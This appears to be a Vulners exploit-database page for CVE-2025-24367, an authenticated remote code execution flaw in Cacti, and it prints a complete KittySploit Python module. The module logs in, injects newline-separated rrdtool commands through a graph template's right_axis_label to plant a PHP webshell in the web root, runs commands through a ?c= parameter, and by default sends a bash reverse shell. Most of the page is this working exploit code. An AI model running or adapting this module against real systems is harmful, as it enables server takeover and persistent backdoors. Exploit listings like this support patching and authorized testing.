Cacti CVE-2025-24367 graph template RCE
| Reporter | Title | Published | Views | Family All 59 |
|---|---|---|---|---|
| MonitorsFour-Write-UP | 26 May 202611:00 | – | githubexploit | |
| Exploit for Improper Neutralization of Line Delimiters in Cacti | 14 Dec 202523:08 | – | githubexploit | |
| Exploit for Improper Neutralization of Line Delimiters in Cacti | 14 Dec 202520:29 | – | githubexploit | |
| Exploit for Improper Neutralization of Line Delimiters in Cacti | 2 May 202623:30 | – | githubexploit | |
| Exploit for Improper Neutralization of Line Delimiters in Cacti | 12 Dec 202509:36 | – | githubexploit | |
| Exploit for Improper Neutralization of Line Delimiters in Cacti | 2 May 202606:39 | – | githubexploit | |
| CVE-2025-24367 | 27 Jan 202518:15 | – | attackerkb | |
| CVE-2025-24367 | 27 Jan 202517:12 | – | alpinelinux | |
| February Linux Patch Wednesday | 25 Feb 202510:19 | – | avleonov | |
| Cacti Graph Creation Code Execution | 3 Feb 202500:00 | – | bdu_fstec |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cacti CVE-2025-24367 authenticated graph-template RCE via rrdtool injection."""
from __future__ import annotations
import random
import re
import string
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client, Handler):
__info__ = {
"name": "Cacti CVE-2025-24367 graph template RCE",
"description": (
"CVE-2025-24367 (Cacti <= 1.2.28): newline injection in graph template "
"right_axis_label breaks out of rrdtool arguments and writes PHP to the "
"web root. Authenticated; plants a ?c= webshell and runs the given command."
),
"author": ["KittySploit Team"],
"cve": ["CVE-2025-24367"],
"platform": Platform.MULTI,
"arch": [Arch.PHP],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2025-24367",
"https://github.com/dinosn/exploit-watch-archive",
],
"tags": ["cacti", "rrdtool", "authenticated", "rce", "cve-2025-24367"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation", "remote_code_execution"],
"expected_requests": 8,
"reversible": False,
"approval_required": True,
"produces": ["webshell", "rce"],
"requires": {"tech_hints_any": ["cacti"]},
"chain": {"suggested_followups": ["scanner/http/cacti_cve_2025_24367_detect"]},
},
}
cacti_path = OptString("/cacti", "Cacti web path prefix", required=False)
username = OptString("", "Cacti username", required=True)
password = OptString("", "Cacti password", required=True)
template_name = OptString("Unix - Logged in Users", "Graph template filter name", required=False)
local_graph_id = OptString("3", "local_graph_id for graph_json trigger", required=False, advanced=True)
command = OptString("", "Command for webshell ?c= (overrides payload)", required=False)
def _prefix(self) -> str:
p = str(self.cacti_path or "/cacti").strip()
return p if p.startswith("/") else f"/{p}"
@staticmethod
def _csrf_token(html: str) -> str:
match = re.search(r'csrfMagicToken\s*=\s*"(sid:[a-z0-9]+,[a-z0-9]+)', html or "")
if not match:
raise RuntimeError("csrfMagicToken not found")
return match.group(1)
def _login(self) -> None:
index = f"{self._prefix()}/index.php"
resp = self.http_request("GET", index)
token = self._csrf_token((resp.text or "") if resp else "")
self.http_request(
"POST",
index,
data={
"__csrf_magic": token,
"action": "login",
"login_username": str(self.username or ""),
"login_password": str(self.password or ""),
},
)
chk = self.http_request("GET", index)
if "logout" not in ((chk.text or "") if chk else "").lower():
raise RuntimeError("Cacti login failed")
def _plant_webshell(self) -> str:
tpl_name = str(self.template_name or "Unix - Logged in Users")
listing = self.http_request(
"GET",
f"{self._prefix()}/graph_templates.php",
params={"filter": tpl_name, "rows": "-1", "has_graphs": "false"},
)
html = (listing.text or "") if listing else ""
tid_match = re.search(r"chk_(\d+)", html)
if not tid_match:
print_error("Graph template id not found")
return False
tid = tid_match.group(1)
edit = self.http_request(
"GET",
f"{self._prefix()}/graph_templates.php",
params={"action": "template_edit", "id": tid},
)
csrf = self._csrf_token((edit.text or "") if edit else "")
shell_name = "".join(random.choices(string.ascii_letters + string.digits, k=8)) + ".php"
payload_php = "<?=`$_GET[c]`;?>"
right_axis = (
"XXX\n"
"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200\n"
f"graph {shell_name} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:{payload_php}\n"
)
data = {
"__csrf_magic": csrf,
"name": tpl_name,
"graph_template_id": tid,
"graph_template_graph_id": tid,
"save_component_template": "1",
"title": "|host_description| - Logged in Users",
"vertical_label": "percent",
"image_format_id": "3",
"height": "200",
"width": "700",
"base_value": "1000",
"slope_mode": "on",
"auto_scale": "on",
"auto_scale_opts": "2",
"auto_scale_rigid": "on",
"upper_limit": "100",
"lower_limit": "0",
"right_axis_label": right_axis,
"rrdtool_version": "1.7.2",
"action": "save",
}
self.http_request(
"POST",
f"{self._prefix()}/graph_templates.php",
params={"header": "false"},
data=data,
)
gid = str(self.local_graph_id or "3")
self.http_request(
"GET",
f"{self._prefix()}/graph_json.php",
params={
"rra_id": "0",
"local_graph_id": gid,
"graph_start": "1",
"graph_end": "2",
"graph_height": "200",
"graph_width": "700",
},
)
return f"{self._prefix()}/{shell_name}"
def execute(self, cmd: str) -> str:
if not getattr(self, "_webshell_path", None):
self._login()
self._webshell_path = self._plant_webshell()
resp = self.http_request("GET", self._webshell_path, params={"c": cmd})
return (resp.text or "").strip() if resp else ""
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f"echo {token}") or "")
def run(self):
cmd = str(self.command or "").strip() or str(self.payload or "").strip()
if not cmd:
print_error("Set command or payload")
return False
print_status("CVE-2025-24367 — Cacti graph template RCE")
try:
self._login()
except RuntimeError as exc:
print_error(str(exc))
self.not_vulnerable()
return False
print_success("Logged in to Cacti")
if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", cmd, re.I):
print_error("Webshell planting or execution failed")
self.not_vulnerable()
return False
output = self.execute(cmd)
print_success(f"Webshell: {self._webshell_path}?c=<cmd>")
if output:
print_info(output[:4000])
if str(self.command or "").strip():
return self.handler_execute()
print_success("Payload dispatched — waiting for reverse handler session")
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Oct 2026 17:01Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8
CVSS 48.7
EPSS0.54259
SSVC